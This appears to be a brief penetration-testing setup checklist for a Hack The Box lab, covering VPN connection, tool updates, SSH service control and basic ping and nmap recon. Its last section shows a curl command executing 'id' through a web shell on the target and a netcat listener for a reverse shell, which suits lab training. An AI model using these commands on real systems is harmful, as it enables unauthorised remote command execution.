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Getting Started Checklist

Initial setup for penetration testing

Getting Started

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graph TD A[Start] --> B[Connect VPN] B --> C[Verify IP] C --> D[Update Tools] D --> E[Setup Workspace] E --> F[Create Notes] F --> G[Start Target] G --> H[Ping Check] H --> I[Begin Recon]

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Connecting to HTB

sudo openvpn academy-lab.ovpn # Connect to HTB VPN
ifconfig tun0 # Verify VPN interface IP

Parrot/Kali Setup

sudo apt update && sudo apt upgrade # Update system packages
sudo apt install terminator tmux # Install essential tools

Service Management

sudo systemctl start ssh # Start SSH service
sudo systemctl enable ssh # Enable SSH on boot
sudo systemctl status ssh # Check SSH status

Basic Recon

ping -c 4 10.10.10.5 # Check connectivity
nmap -sC -sV 10.10.10.5 # Basic Nmap scan

Web Shell Basics

curl http://10.10.10.5/shell.php?cmd=id # Test web shell RCE
nc -lvnp 4444 # Start listener
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